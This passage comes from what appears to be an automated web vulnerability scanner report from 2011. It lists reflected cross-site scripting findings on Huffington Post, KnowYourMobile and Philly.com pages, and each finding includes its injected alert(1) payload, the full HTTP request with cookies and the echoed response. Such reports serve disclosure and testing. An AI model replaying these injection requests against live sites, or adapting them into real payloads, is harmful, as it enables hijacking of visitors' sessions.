This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /ads/check_flights.php?hash_arr=38388b8876459563a29d986759f38871,dfc1cc688083fc69b709074f693c07a2&spot=leaderboard_topb0df1<img%20src%3da%20onerror%3dalert(1)>6d6fa899b7e HTTP/1.1
Host: www.huffingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: huffpost_influence_null=%7B%22commented%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22blogged%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22shared%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22emailed%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22bages%22%3Anull%7D; __utmz=265287574.1304575105.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-822287727-1304575116403; UNAUTHID=1.f49ac58470c911e0ba8373d1f2b58312.0903; __qseg=Q_D|Q_T|Q_2689|Q_2687|Q_2685|Q_1908|Q_1905|Q_1592|Q_683|Q_680|Q_679|Q_678|Q_666|Q_665|Q_657; huffpost_adssale=y; s_pers=%20s_getnr%3D1305033228149-Repeat%7C1368105228149%3B%20s_nrgvo%3DRepeat%7C1368105228151%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; huffpo_type_views=%7B%222%22%3A1%2C%2215%22%3A1%7D; __utma=265287574.457433518.1304575105.1304578723.1305033228.3; __utmc=265287574; __utmv=265287574.|3=User=A=1,4=JoinedOn=0=1,; __utmb=265287574.4.10.1305033228

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Unix)
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:25:25 GMT
Connection: close
Content-Length: 85

{"result":false,"spot":"leaderboard_topb0df1<img src=a onerror=alert(1)>6d6fa899b7e"}

4.335. http://www.huffingtonpost.com/badge/badges_json_v2.php [cb parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huffingtonpost.com
Path:	/badge/badges_json_v2.php

Issue detail

The value of the cb request parameter is copied into the HTML document as plain text between tags. The payload 7b769<script>alert(1)</script>0c9e4fa5580 was submitted in the cb parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /badge/badges_json_v2.php?sn=facebook_glamorous,retweet_glamorous,email_glamorous,comment_glamorous&gn=window.Badges_217505539_1&eu=http%3A//www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html&id=859012&eco=1304807100&ebi2&entry_design=&cb=window.Badges_217505539_1.slicesCallback7b769<script>alert(1)</script>0c9e4fa5580&ng=0 HTTP/1.1
Host: www.huffingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: huffpost_influence_null=%7B%22commented%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22blogged%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22shared%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22emailed%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22bages%22%3Anull%7D; __utmz=265287574.1304575105.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-822287727-1304575116403; UNAUTHID=1.f49ac58470c911e0ba8373d1f2b58312.0903; huffpost_adssale=y; s_pers=%20s_getnr%3D1305033228149-Repeat%7C1368105228149%3B%20s_nrgvo%3DRepeat%7C1368105228151%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; huffpo_type_views=%7B%222%22%3A1%2C%2215%22%3A1%7D; __qseg=Q_D|Q_T|Q_2689|Q_2687|Q_2685|Q_1908|Q_1905|Q_1592|Q_683|Q_680|Q_679|Q_678|Q_666|Q_665|Q_657; __utma=265287574.457433518.1304575105.1304578723.1305033228.3; __utmc=265287574; __utmv=265287574.|3=User=A=1,4=JoinedOn=0=1,; __utmb=265287574.6.10.1305033228

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Unix)
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:29:12 GMT
Connection: close
Content-Length: 3119

window.Badges_217505539_1.slicesCallback7b769<script>alert(1)</script>0c9e4fa5580({"slice_names":["facebook_glamorous","retweet_glamorous","email_glamorous","comment_glamorous"],"global_name":"window.Badges_217505539_1","slice_params":{"facebook_glamorous":{"share_amount":"78"},"re
...[SNIP]...

4.336. http://www.huffingtonpost.com/badge/badges_json_v2.php [gn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huffingtonpost.com
Path:	/badge/badges_json_v2.php

Issue detail

The value of the gn request parameter is copied into the HTML document as plain text between tags. The payload 4393f<img%20src%3da%20onerror%3dalert(1)>f3186dd62f8 was submitted in the gn parameter. This input was echoed as 4393f<img src=a onerror=alert(1)>f3186dd62f8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /badge/badges_json_v2.php?sn=facebook_glamorous,retweet_glamorous,email_glamorous,comment_glamorous&gn=window.Badges_217505539_14393f<img%20src%3da%20onerror%3dalert(1)>f3186dd62f8&eu=http%3A//www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html&id=859012&eco=1304807100&ebi2&entry_design=&cb=window.Badges_217505539_1.slicesCallback&ng=0 HTTP/1.1
Host: www.huffingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: huffpost_influence_null=%7B%22commented%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22blogged%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22shared%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22emailed%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22bages%22%3Anull%7D; __utmz=265287574.1304575105.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-822287727-1304575116403; UNAUTHID=1.f49ac58470c911e0ba8373d1f2b58312.0903; huffpost_adssale=y; s_pers=%20s_getnr%3D1305033228149-Repeat%7C1368105228149%3B%20s_nrgvo%3DRepeat%7C1368105228151%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; huffpo_type_views=%7B%222%22%3A1%2C%2215%22%3A1%7D; __qseg=Q_D|Q_T|Q_2689|Q_2687|Q_2685|Q_1908|Q_1905|Q_1592|Q_683|Q_680|Q_679|Q_678|Q_666|Q_665|Q_657; __utma=265287574.457433518.1304575105.1304578723.1305033228.3; __utmc=265287574; __utmv=265287574.|3=User=A=1,4=JoinedOn=0=1,; __utmb=265287574.6.10.1305033228

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Unix)
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:28:59 GMT
Connection: close
Content-Length: 3122

window.Badges_217505539_1.slicesCallback({"slice_names":["facebook_glamorous","retweet_glamorous","email_glamorous","comment_glamorous"],"global_name":"window.Badges_217505539_14393f<img src=a onerror=alert(1)>f3186dd62f8","slice_params":{"facebook_glamorous":{"share_amount":"78"},"retweet_glamorous":{"short_url":"http:\/\/huff.to\/j4c9mk","tweet_text":"Potential Presidential Candidate Wins South Carolina Straw Poll","
...[SNIP]...

4.337. http://www.huffingtonpost.com/badge/badges_json_v2.php [sn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huffingtonpost.com
Path:	/badge/badges_json_v2.php

Issue detail

The value of the sn request parameter is copied into the HTML document as plain text between tags. The payload 4bb95<img%20src%3da%20onerror%3dalert(1)>8cd9fafb311 was submitted in the sn parameter. This input was echoed as 4bb95<img src=a onerror=alert(1)>8cd9fafb311 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /badge/badges_json_v2.php?sn=facebook_glamorous,retweet_glamorous,email_glamorous,comment_glamorous4bb95<img%20src%3da%20onerror%3dalert(1)>8cd9fafb311&gn=window.Badges_217505539_1&eu=http%3A//www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html&id=859012&eco=1304807100&ebi2&entry_design=&cb=window.Badges_217505539_1.slicesCallback&ng=0 HTTP/1.1
Host: www.huffingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: huffpost_influence_null=%7B%22commented%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22blogged%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22shared%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22emailed%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22bages%22%3Anull%7D; __utmz=265287574.1304575105.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-822287727-1304575116403; UNAUTHID=1.f49ac58470c911e0ba8373d1f2b58312.0903; huffpost_adssale=y; s_pers=%20s_getnr%3D1305033228149-Repeat%7C1368105228149%3B%20s_nrgvo%3DRepeat%7C1368105228151%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; huffpo_type_views=%7B%222%22%3A1%2C%2215%22%3A1%7D; __qseg=Q_D|Q_T|Q_2689|Q_2687|Q_2685|Q_1908|Q_1905|Q_1592|Q_683|Q_680|Q_679|Q_678|Q_666|Q_665|Q_657; __utma=265287574.457433518.1304575105.1304578723.1305033228.3; __utmc=265287574; __utmv=265287574.|3=User=A=1,4=JoinedOn=0=1,; __utmb=265287574.6.10.1305033228

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Unix)
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:28:56 GMT
Connection: close
Content-Length: 3142

window.Badges_217505539_1.slicesCallback({"slice_names":["facebook_glamorous","retweet_glamorous","email_glamorous","comment_glamorous4bb95<img src=a onerror=alert(1)>8cd9fafb311"],"global_name":"window.Badges_217505539_1","slice_params":{"facebook_glamorous":{"share_amount":"78"},"retweet_glamorous":{"short_url":"http:\/\/huff.to\/j4c9mk","tweet_text":"Potential Presidential
...[SNIP]...

4.338. http://www.huffingtonpost.com/permalink-tracker.html [vertical parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.huffingtonpost.com
Path:	/permalink-tracker.html

Issue detail

The value of the vertical request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb42f"%3balert(1)//f19ff16721a was submitted in the vertical parameter. This input was echoed as bb42f";alert(1)//f19ff16721a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /permalink-tracker.html?vertical=politicsbb42f"%3balert(1)//f19ff16721a HTTP/1.1
Host: www.huffingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: huffpost_influence_null=%7B%22commented%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22blogged%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22shared%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22emailed%22%3A%7B%22value%22%3A0%2C%22check_date%22%3A1304575102000%7D%2C%22bages%22%3Anull%7D; __utmz=265287574.1304575105.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-822287727-1304575116403; UNAUTHID=1.f49ac58470c911e0ba8373d1f2b58312.0903; __qseg=Q_D|Q_T|Q_2689|Q_2687|Q_2685|Q_1908|Q_1905|Q_1592|Q_683|Q_680|Q_679|Q_678|Q_666|Q_665|Q_657; huffpost_adssale=y; s_pers=%20s_getnr%3D1305033228149-Repeat%7C1368105228149%3B%20s_nrgvo%3DRepeat%7C1368105228151%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; huffpo_type_views=%7B%222%22%3A1%2C%2215%22%3A1%7D; __utma=265287574.457433518.1304575105.1304578723.1305033228.3; __utmc=265287574; __utmv=265287574.|3=User=A=1,4=JoinedOn=0=1,; __utmb=265287574.4.10.1305033228

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Unix)
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Cache-Control: max-age=273
Date: Tue, 10 May 2011 13:25:21 GMT
Connection: close
Content-Length: 1355

<html>
<head>
<title>Huffit Tracker</title>
   <script type="text/javascript" src="http://s.huffpost.com/assets/js.php?f=hp_config.js%2Chp_track.js"></script>
</head>
<body>
   
   <script type="text/javascript">
       HPConfig.current_vertical_name = "politicsbb42f";alert(1)//f19ff16721a";
       HPConfig.current_web_address = "www.huffingtonpost.com";
       HPConfig.inst_type = "prod";
       HPConfig.timestamp_for_clearing_js = "1304778898";
   </script>
...[SNIP]...

4.339. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb01b"-alert(1)-"c1d3a58f98a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /featureseb01b"-alert(1)-"c1d3a58f98a/881740/google_io_what_to_expect.html HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.5.35
Content-Type: text/html; charset=utf-8
X-Powered-By: NetGenie
Pragma:
Vary: Accept-Encoding
expires: -1
cache-control: no-cache
Date: Tue, 10 May 2011 13:25:49 GMT
X-Varnish: 1306147908
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS
Content-Length: 51303

               <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html1/DTD/html1-transitional.dtd">
<html><head>
<meta name='google-site-verification' content='DHLWACg
...[SNIP]...
me OS,Nexus";
   var sourcedescription = "With Google I/O 2011 almost upon us we're exploring what you can look forward to from the ever popular developer conference";
   var sourceurl = "/featureseb01b"-alert(1)-"c1d3a58f98a/881740/google_io_what_to_expect.html";
   var sourceurlfull = "http://kym.net-genie.co.uk/featureseb01b"-alert(1)-"c1d3a58f98a/881740/google_io_what_to_expect.html";
   var sourcemainsection = "/featu
...[SNIP]...

4.340. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 265a8'-alert(1)-'22becf0b160 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /features265a8'-alert(1)-'22becf0b160/881740/google_io_what_to_expect.html HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

4.341. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aabce"-alert(1)-"de145d941b6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /features/881740aabce"-alert(1)-"de145d941b6/google_io_what_to_expect.html HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.5.35
Content-Type: text/html; charset=UTF-8
X-Powered-By: NetGenie
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:28:06 GMT
X-Varnish: 1306164344
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Content-Length: 34201

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html1/DTD/html1-transitional.dtd">
<html><head>
<meta name='google-site-verification' content='DHLWACgaREqVSB+aho
...[SNIP]...
"";
   var tagq = "";
   var sourceTag = "/other/";
   var sourcetag = "/other/";
   var sourcetitle = "";
   var sourcekeywords = "";
   var sourcedescription = "";
   var sourceurl = "/features/881740aabce"-alert(1)-"de145d941b6/google_io_what_to_expect.html";
   var sourceurlfull = "http://kym.net-genie.co.uk/features/881740aabce"-alert(1)-"de145d941b6/google_io_what_to_expect.html";
   var sourcemainsection = "";
   var sour
...[SNIP]...

4.342. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1a331"-alert(1)-"2f8cb09663 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /features/881740/google_io_what_to_expect.html1a331"-alert(1)-"2f8cb09663 HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.5.35
Content-Type: text/html; charset=UTF-8
X-Powered-By: NetGenie
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:30:47 GMT
X-Varnish: 1306183286
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Content-Length: 34199

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html1/DTD/html1-transitional.dtd">
<html><head>
<meta name='google-site-verification' content='DHLWACgaREqVSB+aho
...[SNIP]...
rceTag = "/other/";
   var sourcetag = "/other/";
   var sourcetitle = "";
   var sourcekeywords = "";
   var sourcedescription = "";
   var sourceurl = "/features/881740/google_io_what_to_expect.html1a331"-alert(1)-"2f8cb09663";
   var sourceurlfull = "http://kym.net-genie.co.uk/features/881740/google_io_what_to_expect.html1a331"-alert(1)-"2f8cb09663";
   var sourcemainsection = "";
   var sourcetagkey = sourcetag+" "+source
...[SNIP]...

4.343. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9024e"-alert(1)-"aa98b9cf3ba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /features/881740/google_io_what_to_expect.html?9024e"-alert(1)-"aa98b9cf3ba=1 HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.5.35
Content-Type: text/html; charset=utf-8
X-Powered-By: NetGenie
Pragma:
Vary: Accept-Encoding
expires: -1
cache-control: no-cache
Date: Tue, 10 May 2011 13:23:11 GMT
X-Varnish: 923700629
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS
Content-Length: 51312

               <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html1/DTD/html1-transitional.dtd">
<html><head>
<meta name='google-site-verification' content='DHLWACg
...[SNIP]...
= "With Google I/O 2011 almost upon us we're exploring what you can look forward to from the ever popular developer conference";
   var sourceurl = "/features/881740/google_io_what_to_expect.html?9024e"-alert(1)-"aa98b9cf3ba=1";
   var sourceurlfull = "http://kym.net-genie.co.uk/features/881740/google_io_what_to_expect.html?9024e"-alert(1)-"aa98b9cf3ba=1";
   var sourcemainsection = "/features/";
   var sourcetagkey = sour
...[SNIP]...

4.344. http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.knowyourmobile.com
Path:	/features/881740/google_io_what_to_expect.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97af8'-alert(1)-'19c9959f450 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /features/881740/google_io_what_to_expect.html?97af8'-alert(1)-'19c9959f450=1 HTTP/1.1
Host: www.knowyourmobile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

4.345. http://www.philly.com/philly/news/nation_world/121548659.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.philly.com
Path:	/philly/news/nation_world/121548659.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b707f"><script>alert(1)</script>27da8a889a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /philly/news/nation_world/121548659.html?b707f"><script>alert(1)</script>27da8a889a7=1 HTTP/1.1
Host: www.philly.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: max-age=600
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:11:45 GMT
Expires: Tue, 10 May 2011 13:21:47 GMT
Server: Apache
Set-Cookie: click_mobile=0; Domain=www.philly.com; Expires=Wed, 11-May-2011 13:11:45 GMT; Path=/
Vary: Accept-Encoding
Via: 1.0 dv-c1-r3-u7-b3:3128 (squid)
X-Server-Name: dv-c1-r2-u24-b6
Content-Length: 220584

...[SNIP]...
<input type="hidden" name="rurl" value="/philly/news/nation_world/121548659.html?b707f"><script>alert(1)</script>27da8a889a7=1?&subscribe=y&listID=1782" \/>
...[SNIP]...

4.346. http://www.philly.com/philly/news/nation_world/121548659.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.philly.com
Path:	/philly/news/nation_world/121548659.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef135'%3balert(1)//4b169261d24 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ef135';alert(1)//4b169261d24 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /philly/news/nation_world/121548659.html?ef135'%3balert(1)//4b169261d24=1 HTTP/1.1
Host: www.philly.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: max-age=600
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:11:48 GMT
Expires: Tue, 10 May 2011 13:21:48 GMT
Server: Apache
Set-Cookie: click_mobile=0; Domain=www.philly.com; Expires=Wed, 11-May-2011 13:11:48 GMT; Path=/
Vary: Accept-Encoding
Via: 1.0 dv-c1-r2-u7-b14:3128 (squid)
X-Server-Name: dv-c1-r2-u24-b6
Content-Length: 220453

...[SNIP]...
